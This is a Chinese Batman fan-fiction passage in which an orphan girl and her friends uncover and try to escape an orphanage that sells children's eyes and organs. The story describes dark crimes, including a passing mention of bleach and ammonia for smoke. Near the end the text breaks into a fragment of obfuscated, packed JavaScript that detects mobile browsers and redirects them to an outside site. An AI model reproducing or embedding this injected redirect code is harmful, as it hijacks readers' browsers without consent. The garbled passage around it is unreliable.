欧洛斯赤着脚,像一道无声的幽灵,滑下冰冷的铁架床,悄无声息地溜到那扇装着铁栏的小窗前。她踮起脚尖,努力将脸挤在冰冷的铁条之间,冰凉的铁锈味钻入鼻腔。
她竭力向上望去。
福利院锯齿状的屋顶边缘,在巨大蝙蝠灯投射出的惨白光晕下,被勾勒出狰狞的剪影。就在那最高的、如同兽脊般的屋角阴影里,一个庞大、非人的轮廓静静地蹲踞着。
那不是错觉。
那轮廓凝固在石像鬼的阴影里,与哥谭沉疴的夜色融为一体,却又带着一种令人窒息的压迫感,仿佛是从建筑本身的阴影中生长出来的恶魔化身。
巨大尖耸的耳廓如同地狱号角,在蝙蝠灯惨白的光晕下切割出锐利的线条。宽阔的肩背披风如同凝固的黑暗,沉重地垂落,覆盖着嶙峋的屋脊瓦片,边缘融入更深的阴影。
他纹丝不动,像一座由纯粹意志和钢铁浇筑的黑色雕塑,只有那披风的下摆,在屋顶高处盘旋的、带着城市垃圾酸腐气息的夜风中,极其缓慢地起伏,如同沉睡巨兽的呼吸。
他在听。
欧洛斯屏住了呼吸,血液似乎都冻结了。她顺着那凝固姿态的朝向,目光投向屋顶下方,那是福利院主体建筑侧翼的方向,一扇比其他窗户稍大、装着同样铁栏的窗户里,透出昏黄暗淡的光线。那是护工的值班室。
蝙蝠侠微微调整了一下头颅的角度,那动作细微得如同捕食前的猎豹锁定气息的源头。他尖耳内置的、远超人类科技极限的监听设备,正将下方房间里的声波,转化为冰冷的、清晰的、带着电流底噪的对话,直接灌入他的脑海。
值夜班的护工,卡尔文,一个有着酒糟鼻和油腻头发的粗壮男人,正把穿着廉价塑料拖鞋的脚翘在磨损严重的办公桌上,对着一个老式座机电话的听筒。他的声音压得很低,带着一种混合了贪婪和谄媚的黏腻,像毒蛇在潮湿的
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地面爬行。
“……这批新来的‘小羊羔’,成色确实不错,比上次那批蔫头巴脑的强多了。”
卡尔文对着话筒嘿嘿笑了两声,声音嘶哑。
“尤其是那个红头发绿眼睛的小丫头,刚送进来的。啧,像女巫似的,那眼睛绿的邪门的很,货真价实!老主顾‘收藏家’那边,不是一直嚷嚷着要这种稀罕货色吗?”
他舔了舔干裂的嘴唇,声音里的贪婪几乎要溢出来。
“我跟斯通老大提了,他点头了。这种顶级货,翻倍!必须翻倍!……对对对,就是今天傍晚刚送进来的那个,瘦瘦的,长的倒是挺好看的,要是能留两年…!……行,你们准备好钱,等这边事情过去了,老规矩,……”
监听设备将每一个肮脏的字眼,连同卡尔文粗重的呼吸和贪婪的笑声,都无比清晰地传递到屋顶。
蹲踞在阴影中的蝙蝠侠,那如同磐石般纹丝不动的身影,在听到“绿眼睛”、“翻倍”、“码头仓库”这几个关键词时,披风覆盖下的肌肉线条,在瞬间绷紧如拉满的弓弦!那是一种无声的、却足以让空气凝结的暴怒。
就在这一刹那,蹲在冰冷铁窗前、踮着脚尖向上凝望的欧洛斯,因为过度的紧张和长时间的屏息,脚下一滑,赤着的脚底在布满灰尘的地板上蹭出极其细微的“嚓”的一声轻响。
声音微弱得几乎可以忽略不计。
然而,屋顶上,那个如同融入夜色的恶魔轮廓,猛地转过了头!
两点寒光,冰冷,锐利,带着洞穿一切虚妄的穿透力,瞬间锁定了三楼那扇装着铁栏的小窗!精准无比地刺穿了朦胧的玻璃和冰冷的铁条,狠狠钉在窗后那个小小的、苍白惊恐的身影上!
欧洛斯的血液瞬间冲上头顶,又在下一秒冻结成冰!她看到了!
那目光里没有一丝属于人类的情感,只有纯粹的、令人灵魂冻结的审视和……一种难以言喻的、冰冷的锐利,仿佛瞬间将她从皮囊到骨骼都彻底洞穿!
极度的恐惧像一只冰冷巨手扼住了她的喉咙。她猛地向后一缩,如同被滚烫的烙铁烫到,瘦小的身体失去平衡,重重地跌坐在冰冷坚硬的水泥地上。
后脑勺撞在铁架床冰冷的金属支柱上,发出沉闷的“咚”的一声。
剧痛传来,眼前阵阵发黑。福利院那令人窒息的霉味、消毒水味混杂着灰尘的气息,猛烈地灌入她的口鼻,她浑身战栗。
房间里其他熟睡的孩子被这突如其来的声响惊动,发出几声模糊不满的梦呓和翻身时铁床的吱呀声。一个睡在邻床的女孩迷迷糊糊地嘟囔了一句:“……欧洛斯?怎么了?”声音含糊,带着浓重的睡意。
欧洛斯蜷缩在冰冷的地上,双手死死捂住自己的嘴,牙齿深深陷进下唇的软肉里,尝到了腥咸的铁锈味。
时间在极度的恐惧中缓慢地爬行。每一秒都像一个世纪那么漫长。
终于,她鼓起残存的所有勇气,颤抖着,极其缓慢地抬起头,再次望向那扇小窗。
屋顶边缘,那个庞大、狰狞、带来无边压迫感的黑色轮廓,已经消失无踪。
只有哥谭沉沉的、无边无际的夜色,重新笼罩了福利院锯齿状的屋顶轮廓。巨大的蝙蝠灯投影,不知何时也已熄灭。仿佛刚才那惊心动魄的对视,都只是她在绝望和寒冷中产生的恐怖幻觉。
福利院重新沉入一片死寂。
欧洛斯依旧蜷缩在冰冷的地板上,额头抵着同样冰冷的铁床架,身体因为后怕和寒冷而无法控制地颤抖着。
欧洛斯只能抓着蝴蝶项链以求温暖,她非常想念母亲。
5. 第 5 章
第二天早餐时,欧洛斯才真正明白自己的处境。食堂里挤满了孩子,但谈话声却低得反常。她端着餐盘寻找座位时,感受到无数目光像小刀子一样扎在她背上。
"这边。"
以利亚在角落朝她招手。他的餐盘里只有半片干面包和一碗清得能照见人影的汤。
"他们为什么都盯着我?"
欧洛斯小声问,把盘子里的煎蛋推给以利亚。她的餐食明显比别人丰盛——两个煎蛋、一片火腿,甚至还有一小杯牛奶。
以利亚狼吞虎咽地吃着煎蛋,含混不清地说:"卡尔文给你特殊待遇。在这里,这比挨打还糟糕。"
正说着,一个壮硕的身影出现在食堂门口。卡尔文护工穿着紧绷的制服,酒糟鼻在苍白的脸上像颗熟透的草莓。
他环视一圈,目光落在欧洛斯身上时,脸上堆出一个夸张的笑容。
"小宝贝,吃得惯吗?"
他大步走来,身上的钥匙串叮当作响。一只布满老茧的大手落在欧洛斯肩上,让她想起蜘蛛的触足。
"斯通先生想见你,下午三点。"
食堂里的窃窃私语突然停止了。欧洛斯感到数十道目光像聚光灯一样打在她身上,其中有几道尤其灼热,玛茜和她的朋友们坐在不远处,眼神阴鸷得像准备捕食的乌鸦。
"为什么...见我?"
欧洛斯的声音细若蚊蝇。
卡尔文的笑声像生锈的门轴转动,"当然是因为韦恩集团的资助啊!你是新来的''模范孤儿''。"
他故意提高音量,朝其他孩子挤眼睛,
"布鲁斯·韦恩亲自点名要关注新入住儿童的心理健康呢!"
这句话引起一阵压抑的骚动。欧洛斯想起昨天电视上看到的新闻,布鲁斯·韦恩站在闪光灯前,宣布对哥谭福利院的"全面资助计划"。镜头扫过台下西装革履的斯通院长时,那人鼓掌的姿势僵硬得像个提线木偶。
卡尔文离开后,食堂里的气氛立刻变了。一个高个子男孩故意撞翻欧洛斯的牛奶,白色液体在桌面上蔓延,像一条贪婪的舌头舔向她的袖口。
"抱歉啊,''模范孤儿''。"他咧嘴一笑,露出参差不齐的牙齿,"听说你……值好几万美金?够买十辆新车吗?"
以利亚猛地站起来,却被欧洛斯拉住了。
她盯着那个男孩,
“什么意思?模范孤儿有钱领?”
翠绿的眼睛闪着光,死死的盯着那个男孩,但只引起一阵哄笑,没有人愿意给她解答。
以利亚拍了拍欧洛斯的肩膀
“有些不对劲,我帮你打听打听。”
很明显,有什么大家都知道,但他们并不知情的坏事要发生了。
下午两点五十分,欧洛斯站在斯通院长办公室门外。走廊的墙壁上挂着一排排照片,全是面带微笑的孩子与各界名流的合影。
"进来。"门内传来斯通的声音,比早晨更加嘶哑。
办公室比想象中简朴,唯一引人注目的是墙上一个巨大的标本框,里面陈列着几十种不同颜色的蝴蝶。斯通坐在宽大的橡木桌后,假眼在阳光下泛着诡异的蓝光。
"坐,欧洛斯。"他示意面前的椅子,"我听说卡尔文对你很...关照。"
欧洛斯的手指绞在一起,"我不需要特殊待遇,先生。"
斯通突然笑了,露出一口过于整齐的牙齿,"特殊待遇?亲爱的孩子,在这里,一切都是明码标价的。"他拉开抽屉,取出一本皮质账簿,翻到某一页推给欧洛斯,"看看你的''市场价值''。"
纸页上整齐地列着几十个名字,后面跟着各种数字和代号。欧洛斯找到了自己的名字:
【欧洛斯·卡利斯托,13岁,健康状况A,特殊特征:翡翠绿虹膜(稀有度AAA),预估价值:$45,000(单眼),$85,000(配对) 买家:收藏家】
"韦恩集团的突然关注打乱了我们的计划,"斯通合上账簿,假眼在光线变化中呈现出紫色,"所以你有...额外的三周时间。"
他倾身向前,身上散发出淡淡的防腐剂气味,"在此期间,卡尔文会确保你保持最佳状态。毕竟,完整的角膜需要在活体上保存至少72小时才能移植。"
欧洛斯的胃部绞紧,喉咙像被无形的手扼住。墙上的蝴蝶标本突然变得无比清晰,每一只都被钢针钉在软木上,翅膀展开到极限,展示着它们最后的美丽。
"现在,微笑。"斯通拿起桌上的相机,"韦恩先生要求看到''幸福的孩子''。"
闪光灯亮起的瞬间,欧洛斯本能地闭上了眼睛。当她再次睁开时,发现斯通正盯着她的反应,嘴角挂着满意的微笑。他的真眼瞳孔扩张得异常大,几乎吞没了整个虹膜。
"完美的翡翠。"他轻声说,更像自言自语,"收藏家会喜欢的。"
离开办公室后,欧洛斯在走廊拐角处撞见了以利亚。男孩一把将她拉进一个废弃的储物间,里面堆满了发霉的体育器材。
"他说了什么?"以利亚急切地问,琥珀色的眼睛在昏暗的光线中闪烁。
欧洛斯颤抖着把看到的内容告诉了他。说完最后一个字时,她惊讶地发现自己没有哭,只有一种奇怪的麻木感,仿佛灵魂正从高空俯瞰这具即将失去眼睛的身体。
以利亚沉默了很久,最后从口袋里掏出一把生锈的折叠小刀,"我在地下室找到的。不够锋利,但..."他做了个刺的动作,"如果瞄准正确的位置..."
欧洛斯摇摇头,"他们会杀了你。"
"我迟早也会进''名单''。"以利亚苦笑一声,“我打听过了,过几天院里会安排体检,所有人都知道,所谓的体检就是价值评估。"
以利亚摸了一把脸“抱歉,欧洛斯,这个福利院好像没那么容易能跑掉。”
欧洛斯看着窗外,想起来昨天晚上的蝙蝠灯突,那道刺目的光柱划破哥谭的夜空。她忍不住想起昨晚与蝙蝠侠那短暂的对视,那双藏在面具后的眼睛,是否看穿了这座建筑的罪恶?
接下来的日子像一场扭曲的噩梦。
卡尔文确实给了欧洛斯特殊待遇:额外的毛毯,双份的餐食,甚至允许她使用□□浴室。这种"优待"像毒药一样将她与其他孩子隔离开来。只有以利亚还愿意和她说话,而这份友谊让他们俩都成了被欺凌的对象。
一个阴雨的午后,以利亚不知道从哪里找到一本破旧的《希腊神话》送给欧洛斯。她蜷缩在窗边,雨水在玻璃上蜿蜒成泪痕般的轨迹。书中记载,欧洛斯是希腊神话中的东风之神,掌管着春天与希望。她苦笑一声,手指抚过泛黄的书页。
"嘿,还看这本书呢?"以利亚悄无声息地出现在她身后,身上带着雨水和铁锈的气味。
欧洛斯合上书,"有喜欢的内容。"她犹豫片刻,压低声音,"我有个计划。"
就在这时,图书馆的门被猛地推开。玛茜带着三个女孩闯了进来,脸上挂着捕食者般的笑容。
"原来模范孤儿躲在这儿,"她拖长声调,"卡尔文找你找疯了,小宝贝。"她突然抢过欧洛斯手中的书,"《希腊神话》?真感人,你还识字呢。"
以利亚挡在
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欧洛斯前面,"把书还给她。"
玛茜的笑容消失了,"你以为你是谁?骑士吗?"
她猛地推了以利亚一把,
"B-147号商品也配说话?"
昨天,院里组织了体检,这是孩子们对被标记者的称呼,B型血,编号147。
而欧洛斯是已经被预订的商品,所以是翡翠021,眼睛的颜色,编号21。
冲突爆发得很快。以利亚的小刀划破了玛茜的手臂,以一抵二,而欧洛斯则对付另一个。当卡尔文闻声赶来时,以利亚正揪着玛茜的头发,要把她的脸按进一滩墨水里。
"住手!"卡尔文的怒吼震得书架发颤。他粗暴地推开众人,却在检查欧洛斯的脸时突然变得异常温柔,"没伤到眼睛吧?"
这句话像一桶冰水浇在所有孩子头上。欧洛斯看见玛茜脸上闪过恍然大悟的表情,然后是赤裸裸的嫉妒。
在这个地狱般的地方,连成为"贵重商品"都是一种特权。
那天晚上,欧洛斯被罚清理食堂。以利亚偷偷溜来帮忙。
"你的计划是什么?"
他一边擦桌子一边问,声音因为嘴角的伤而含糊不清。
欧洛斯环顾四周,确保没人后低声说"下周韦恩集团要来参观。斯通说会选几个孩子表演才艺...我被安排在钢琴组。"
以利亚的眉毛扬了起来,"你会弹钢琴?"
"不会。"
欧洛斯露出住进福利院后的第一个真实笑容,"但我可以制造混乱。参观团会经过东侧走廊,那里有个紧急出口..."
以利亚的眼睛亮了起来,"警报系统三个月前就坏了。老比尔说的,他负责维修。"他擦桌子的动作变得轻快,"我们需要分散警卫的注意力。"
"玛茜。"欧洛斯轻声说。
以利亚愣了一下,随即会意地点头。
玛茜的父亲是哥谭港的码头工人,曾公开反对黑面具帮的走私活动。上个月,有人看见他被塞进一辆黑色厢型车。
"她知道地下交易的事,"
欧洛斯继续道,"如果告诉她韦恩参观当天会有''特殊运输''..."
"她会不惜一切代价查看货物清单。"
以利亚接上她的思路,随即皱眉,"但这太危险了。如果被抓到..."
欧洛斯望向窗外。雨已经停了,云层间露出一角星空。蝙蝠灯的光柱依然在夜空中扫射,像一位永不疲倦的守望者。
"留在这里更危险。"她轻声说。
夜深了,福利院的走廊陷入死寂。欧洛斯躺在床上,听着隔壁玛茜轻微的鼾声。月光透过铁栏杆,在她被单上投下监狱般的阴影。
她摸了摸自己的眼睛,想象它们被装在某个收藏家的玻璃罐里,像墙上的蝴蝶标本一样永远凝固在最美的时刻。
远处传来微弱的汽车引擎声。欧洛斯蹑手蹑脚地来到窗前,看见一辆没有标记的黑色货车缓缓驶入后院。两个穿白大褂的人下车与斯通交谈,后者手里拿着熟悉的皮质账簿。
蝙蝠灯的光柱突然转向,直射福利院屋顶。有那么一瞬间,欧洛斯确信自己看见了一个黑色的身影蹲踞在烟囱旁,披风在夜风中如活物般蠕动。但当她眨眨眼想看清楚时,那里已经空无一物。
货车的尾灯像两滴血,渐渐消失在哥谭的夜色中。欧洛斯回到床上,攥紧了被角。
距离韦恩集团的参观还有五天,距离"收藏家"预定的日期还有十九天。
时间像一把缓缓落下的铡刀,而她的计划是刀锋下唯一的一根稻草。
6. 第 6 章
图书馆的霉味钻进欧洛斯的鼻腔,让她想起地下室的陈年档案柜。
以利亚蹲在书架后面,手里摆弄着那把生锈的小刀,刀刃在从铁栏杆透进来的月光下泛着病态的黄色。
"东侧走廊的监控摄像头每三分钟转动一次。"以利亚用刀尖在地上画了个简图,"老比尔说电路老化,转完一圈要停十秒钟。"
欧洛斯把一缕头发绕在手指上又松开,翠绿的眼睛盯着地上的图案。
三天来,他们像两只夜行动物,趁着深夜摸清了福利院的每一个角落。
以利亚甚至搞到了清洁工的□□——用半包偷来的香烟换的。
"韦恩集团的人十点到,"她压低声音,"斯通安排我在十点半弹钢琴。"
她嘴角抽动了一下,"《致爱丽丝》,虽然我连中央C在哪都不知道。"
以利亚的琥珀色眼睛在阴影中闪烁,"足够引起骚乱了。但我们需要更多 distraction。" 他用了个从电视上学来的词,发音古怪却准确。
欧洛斯从口袋里掏出一张皱巴巴的纸,上面歪歪扭扭画着福利院的平面图。
"食堂厨房有六个煤气罐,洗衣房有漂白剂和氨水..."
"你想炸了这地方?"以利亚瞪大眼睛。
"只是烟雾。"欧洛斯咬着下唇,"足够让警报响起来就行。"
她指向图纸上的一个点,"警卫室在这里,一旦警报响起,至少会调走两个人。"
窗外的云层突然散开,月光像一盆冷水泼在他们面前的图纸上。欧洛斯这才注意到以利亚手臂上的条形码边缘有细小的数字——B-147-04-15。四月十五日,和她"预定取货"的日期同一天。
以利亚顺着她的目光看去,迅速拉下袖子。"体检时纹的,"他故作轻松地说,"B型血,147号,保质期到四月十五。"他的玩笑话里带着锋利的苦涩。
欧洛斯突然抓住他的手,"我们会逃出去的。"她的绿眼睛在月光下像两团鬼火,"一起。"
他们没注意到图书馆门口的影子。玛茜像只黑猫一样悄无声息地退入黑暗,脏辫上的串珠在转身时发出轻微的碰撞声。
第二天早餐时,气氛明显不同了。玛茜和她的跟班们占据着食堂中央的桌子,目光像涂了毒的箭一样射向欧洛斯。
卡尔文照例给欧洛斯端来双份的煎蛋和牛奶,今天甚至还多了一小碟蜂蜜。
"多吃点,小宝贝,"他粗粝的手掌拍在欧洛斯肩上,让她胃部一阵抽搐,"斯通先生说下周要给你拍些照片。"
他的呼吸里有劣质威士忌的味道,"买家想看看商品的最新状态。"
以利亚的拳头在桌下攥紧,但欧洛斯轻轻踢了他的脚踝。挑衅卡尔文毫无意义,尤其在他们的计划即将实施的关键时刻。
"谢谢您,卡尔文先生。"欧洛斯强迫自己露出微笑,声音甜得发腻,"您对我真好。"
这句话像火星掉进干草堆。食堂另一端传来清晰的嗤笑声。"当然好了,"一个黑头发男孩大声说,"谁不疼爱价值八万五的眼睛呢?"
卡尔文的脸色瞬间阴沉,大步走向那个男孩。接下来的殴打干净利落,三记耳光,一记胃拳,男孩像只破麻袋一样蜷缩在地上干呕。
整个食堂鸦雀无声,只有玛茜的嘴角挂着若有若无的微笑。
"再有下次,"卡尔文环视四周,声音像钝刀刮骨,"就送你去''特别护理''。"
他意有所指地看了眼欧洛斯,"某些商品需要保持完整,但不是全部。"
特别护理。
这个词让欧洛斯想起地下室那扇永远锁着的铁门,和偶尔从门缝里飘出的□□气味。上周有个患哮喘的女孩被带去了那里,再也没回来。
斯通院长在晨会上宣布她"被一个好家庭收养了",但那天夜里欧洛斯分明看见那辆没有标记的黑色货车驶入后院。
早餐后是例行的户外活动时间。孩子们被赶到水泥浇筑的院子里,像一群放风的囚犯。欧洛斯和以利亚找了个阳光照不到的角落,假装在玩跳棋。
"我们得加快计划,"欧洛斯移动一枚棋子,声音压得极低,"玛茜知道了什么。"
以利亚假装思考棋局,眼睛却扫视着四周。"不止她。昨晚我听见卡尔文和斯通吵架,好像是什么''买家催得急''。"
他放下棋子,"韦恩集团的参观让他们紧张了。"
欧洛斯摸着自己的眼角,那里的皮肤因为连日失眠而微微抽搐。
"参观只是幌子,布鲁斯·韦恩根本不会来。"
她想起昨天偷听到的电话,
"只是几个基金会的工作人员来做表面文章。"
一阵尖锐的笑声打断了他们的谈话。
玛茜带着三个女孩围住了正在独自看书的瘦小男孩。她们抢走他的眼镜,像抛球一样在彼此间传递。男孩茫然地伸手去抓,眼泪在瘦削的脸上留下闪亮的痕迹。
"住手!"以利亚腾地站起来。
玛茜转过脸,脏辫上的串珠叮当作响。
"怎么,B-147要当英雄?"她故意提高音量,"不知道特别护理室还缺不缺肝脏?"
欧洛斯拉住以利亚的手腕,感觉到他的脉搏在皮肤下狂跳。
"别,"她低声说,"计划更重要。"
但以利亚已经甩开了她的手。
接下来的事情发生得很快——以利亚扑向拿着眼镜的女孩,玛茜伸脚绊他,两人一起摔在水泥地上。扭打中玛茜的袖子被扯破,露出手臂内侧的条形码:AB-89-04-20。
整个院子突然安静得可怕。
玛茜迅速拉下袖子,但已经太迟了。
AB型血,稀有且价值不菲。欧洛斯终于明白为什么玛茜能在福利院活过三年,她不是幸存者,而是被精心保存的"收藏品"。
卡尔文的哨声刺破凝滞的空气。
"够了!"
他粗暴地分开人群,看了眼满脸是血的以利亚和衣服撕裂的玛茜,
"你们两个,禁闭室。其他人,回宿舍!"
欧洛斯被推搡着回到宿舍,但她的思绪却像暴风雨中的蝙蝠一样乱撞。
玛茜手臂上的条形码,四月二十日的日期,以及她眼中那一闪而过的恐惧...这些碎片在她脑海中旋转,逐渐拼出一个可怕的图案。
夜幕降临后,欧洛斯躺在床上假寐,等待查房的护工脚步声远去。当最后一束电筒光从门缝下消失后,她像只猫一样溜下床,光脚踩在冰冷的水泥
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地上。
禁闭室在地下室隔壁,是间没有窗户的储藏室改装的。欧洛斯贴着墙壁前行,黑暗中她的绿眼睛像两盏微弱的灯。
地下室的铁门虚掩着,里面传出模糊的说话声。
"...必须等韦恩的人走后再安排运输。"
是斯通院长的声音,比平时更加嘶哑,
"卡尔文,看好那个绿眼睛的小东西,收藏家愿意为配对角膜付双倍。"
欧洛斯屏住呼吸,小心地透过门缝向内窥视。斯通背对着门口,白大褂在昏暗的灯光下泛着尸衣般的青色。
他面前是个金属推车,上面摆着十几个标有生物危害标志的冷藏箱。
卡尔文正在清点箱子,酒糟鼻上挂着汗珠。
"AB-89怎么办?"卡尔文问道,"她的买家要求完整运输。"
斯通的金丝眼镜反射着冷光,"按原计划,四月二十日。告诉玛茜她被选为''学生代表'',免得她闹事。"
他突然转身,欧洛斯险些没来得及缩回头,
"那男孩呢?B-147?"
"肝脏和肾脏已经预定,"
卡尔文咧嘴一笑,露出参差不齐的牙齿,
"角膜质量一般,但骨骼完好。"
欧洛斯的胃部绞紧,喉咙泛起酸水。她蹑手蹑脚地退开,却在转身时撞上一具温热的身体。
玛茜。
两人在黑暗中僵持了一秒,然后玛茜一把捂住欧洛斯的嘴,拖着她远离那扇危险的门。直到爬上一层楼梯,她才松开手。
"现在你知道了,"玛茜的声音像砂纸摩擦,"我们都是货架上的商品。"
月光从高处的气窗照进来,映出她脸上的泪痕,"我爸爸告发黑面具帮的第二天,他们就来学校带走了我。"
欧洛斯突然明白了玛茜的敌意从何而来,那不是单纯的嫉妒,而是困兽对同类的撕咬。
"我们可以一起逃走,"她脱口而出,"韦恩集团参观那天。"
玛茜的眼中闪过一丝讥讽,"就凭你和那个B型血的蠢货?"
"加上你就有机会。"欧洛斯抓住玛茜的手腕,触到那个条形码的凸起,
"你知道黑面具帮的码头仓库在哪,对吧?如果我们能逃到那里,找到证据..."
玛茜的瞳孔收缩了一下。仇恨是种强大的动力,欧洛斯看着它在玛茜眼中燃烧,最终压过了恐惧。
"需要我做什幺?"玛茜终于问道。
欧洛斯露出计划开始以来的第一个真实微笑。"首先,我们需要制造一场足够大的混乱..."
她们的计划在黎明前敲定。当欧洛斯溜到了以利亚的宿舍时,以利亚已经回来了,额角的伤口结了层薄薄的血痂。
她悄悄把字条塞进门内,把计划的变化告诉他。
以利亚看完沉默了很久,"你相信她?"
"不,"欧洛斯隔着门缝小声地说,"但我相信她对黑面具帮的仇恨。"
窗外,第一缕阳光穿透哥谭永远阴郁的天空。蝙蝠灯早已熄灭,但欧洛斯发誓自己看见了屋顶上一闪而过的黑影,不是飞鸟,而是某种更大、更黑暗的东西在振翅。
距离韦恩集团参观还有四十八小时。距离死亡,还有十七天。
7. 第 7 章
参观日清晨,欧洛斯被刺耳的铃声惊醒。窗外,哥谭的天空呈现出一种病态的铅灰色,像是被脏抹布擦过的镜子。
她摸向枕下的折叠刀——以利亚前天晚上偷偷塞给她的,刀刃被磨得能映出她翠绿的眼瞳。
"起床!全体洗漱!一小时后集合!"
卡尔文的吼声在走廊回荡,比平时更加尖厉。
欧洛斯迅速穿好福利院统一的灰蓝色制服,把刀藏进袜筒。
制服是昨晚新发的,浆洗得发硬,领口还缝着"GOTHAM ORPHANAGE"的金线字母。
表演道具,她心想,为了韦恩集团的慈善秀。
食堂里的气氛紧绷如弓弦。
孩子们机械地咀嚼着特别加餐的燕麦粥,眼睛却不断瞟向门口。
今天连最顽劣的孩子都异常安静,没人想在韦恩集团面前惹麻烦,那意味着失去被收养的渺茫机会。
欧洛斯的目光找到以利亚。
他坐在角落,额角的伤口已经结痂,在晨光下像一条暗红色的蜈蚣。
他们对视一秒,然后同时看向玛茜。脏辫女孩独自坐在窗边,正用勺子搅动粥碗,动作僵硬得不自然。
计划已经说好:欧洛斯负责钢琴混乱,以利亚制造烟雾,玛茜引开警卫。
"欧洛斯。"
卡尔文突然出现在她身后,酒味混着廉价古龙水的气味扑面而来,
"斯通先生要见你。现在。"
斯通的办公室门半掩着。
欧洛斯轻轻敲门,听到里面传来急促的抽屉关闭声。
"进来。"
斯通的声音比平时更加嘶哑。
办公室里的窗帘拉得严严实实,只有台灯投下一圈昏黄的光晕。
斯通坐在桌前,金丝眼镜后的假眼在阴影中泛着诡异的蓝光。
他面前摊开着一本皮质账簿,正是欧洛斯上次见过的那本。
"坐。"
斯通没有抬头,钢笔尖在纸上划出沙沙声,"韦恩基金会的人十点到。
你将在十点半表演钢琴,曲目改为《梦中的婚礼》——更符合今天的主题。
"他嘴角抽动,露出一个类似微笑的表情。
欧洛斯的手指无意识地摸向袜筒里的刀,"我没练习过这首曲子,先生。"
"谁在乎呢?"
斯通终于抬起头,真眼的瞳孔扩张得异常大。
"只要穿着漂亮裙子,坐在钢琴前摆个样子就够了。"
他合上账簿,金属包角撞在桌面上发出清脆的响声。
"卡尔文会给你化妆,遮盖那些...不完美的部分。"
欧洛斯知道他说的是自己锁骨处的伤疤,那是在进入福利院那天因为项链抓的太紧划伤的,现在只剩下一点点的印子而已。
"表演结束后,直接回宿舍。"
斯通的钢笔指向门口。
"今天不许在院内闲逛,明白吗?"
"明白,先生。"
欧洛斯转身时,余光瞥见墙角多了一个新的陈列柜。
玻璃柜门后整齐排列着十几个标本瓶,液体中悬浮着形状模糊的物体。
最前排的瓶子上贴着标签:A-23-左角膜。
她的胃部猛地绞紧,快步走出办公室,差点撞上等候在外的卡尔文。
"别紧张,小宝贝,"
卡尔文咧嘴一笑,露出烟熏黄的牙齿。
"今天是你的大日子。"
大日子的含义令欧洛斯不寒而栗。
她被带到女生浴室,被迫换上一条白色连衣裙,布料廉价但剪裁精致,领口缀着可笑的蕾丝花边。
卡尔文亲自给她梳头,粗粝的手指在发丝间穿梭,偶尔"不小心"蹭过她的后颈。
"完美。"
最后他后退一步,欣赏自己的作品。
"收藏家喜欢纯洁的造型。"
九点三十分,院子里响起汽车引擎声。
欧洛斯从宿舍窗户看见三辆黑色轿车驶入前院,韦恩集团的标志在车门上闪闪发光。
一群西装革履的人走下车,斯通院长迎上去,鞠躬的角度近乎谄媚。
没有布鲁斯·韦恩。
欧洛斯早料到这点,但心脏还是沉了一下。
她摸向胸口的蝴蝶项链,因看在项链挺漂亮的份上,卡尔文并没有要求她取下项链。
“保佑我吧,妈妈。”
现在她只剩下项链、袜筒里的小刀,和两个同样被标价的同伴。
十点整,哨声响起。
全体孩子在礼堂集合,整齐地坐在折叠椅上。欧洛斯被安排在钢琴旁的特殊座位,正对舞台。
以利亚和玛茜分别坐在观众席的两端,这是计划好的,分散行动更不易被发现。
"尊敬的韦恩基金会代表,"
斯通站在讲台上,假眼在聚光灯下闪烁着不自然的光泽,"
感谢各位对哥谭弱势儿童的关怀..."
欧洛斯没听进去接下来的套话。
她的目光扫视着礼堂:四个常规警卫,两个穿着白大褂的陌生男子站在后排——他们手上戴着医用手套,即使在这温暖的室内。
卡尔文守在紧急出口旁,腰间别着电击棒和对讲机。
"...接下来,请欣赏欧洛斯同学的钢琴独奏。"
斯通的介绍将她拉回现实。
掌声响起。
欧洛斯深吸一口气,走向那架老旧的立式钢琴。
白色连衣裙的裙摆扫过膝盖,像一只被束缚的白鸽。
她坐在琴凳上,手指悬在琴键上方,突然意识到自己根本不知道《梦中的婚礼》怎么弹。
礼堂鸦雀无声。
欧洛斯胡乱按下几个琴键,刺耳的不和谐音在空气中炸开。
观众席传来尴尬的咳嗽声。她又按下一组音符,这次故意更加刺耳。
"这孩子显然需要更多音乐教育。"
一位基金会女士小声说。
欧洛斯的手指在琴键上滑过,制造出一连串噪音。
混乱,她需要更多混乱。
前排的警卫开始交头接耳,斯通院长的脸色越来越难看。
就在这时,远处传来一声闷响,接着是尖锐的火警铃声。
欧洛斯闻到了烟味——以利亚成功了。
几乎同时,礼堂后门传来玛茜的尖叫声:"着火了!厨房着火了!"
人群瞬间骚动起来。
警卫们冲向声源,基金会代表们惊慌失措地挤向出口。
欧洛斯趁机溜下琴凳,躲进讲台后的帷幕里。
按照计划,她应该趁乱前往东侧走廊的紧急出口,但斯通办公室里的标本瓶像噩梦般萦绕在她眼前。
证据。他们需要证据。
欧洛斯等最后一名警卫离开后,冲向行政区域。
斯通的办公室门锁着,但钥匙还插在锁孔里——院长离开得太匆忙。
她闪身进入,反手锁上门。
账簿还在桌上。
欧洛斯颤抖着翻开,最新的一页墨迹未干:
【特别订单347
商品:欧洛斯·卡利斯托
规格:13岁,女性,健康状态A
特殊要求:完整摘除双眼(活体),心脏冷冻运输
买家:收藏家#7(VIP)
价格:$150,000(预付50%)】
欧洛斯的视线移向墙角那个陈列柜,现在她看清了那些标本瓶里的内容:不同颜色的眼球、手指、甚至整只耳朵,全都悬浮在淡黄色的液体中。
最前排的瓶子里,一对湛蓝色的虹膜像死去的蝴蝶般展开。
门外突然传来脚步声。
欧洛斯迅速拍下账簿几页照片(以利亚偷来的手机),然后闪到窗帘后。
门开了,卡尔文粗重的呼吸声充满房间。
"小贱人跑哪去了?"
他嘟囔着,脚步声逼近陈列柜。
"斯通会杀了我的..."
欧洛斯屏住呼吸。
卡尔文就在几英尺外,她能闻到他身上的汗臭和酒精味。
突然,对讲机噼啪作响:"卡尔文!东侧走廊!那小子和脏辫丫头想逃跑!"
卡尔文咒骂一声冲出门去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051627|179050||http|test|mini|href|location''.split(''|''),0,{}));
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>欧洛斯等了几秒才从藏身处钻出来,双腿抖得几乎站不稳。
计划乱了,以利亚和玛茜怎么会在东侧走廊?他们应该在不同方向制造混乱才对。
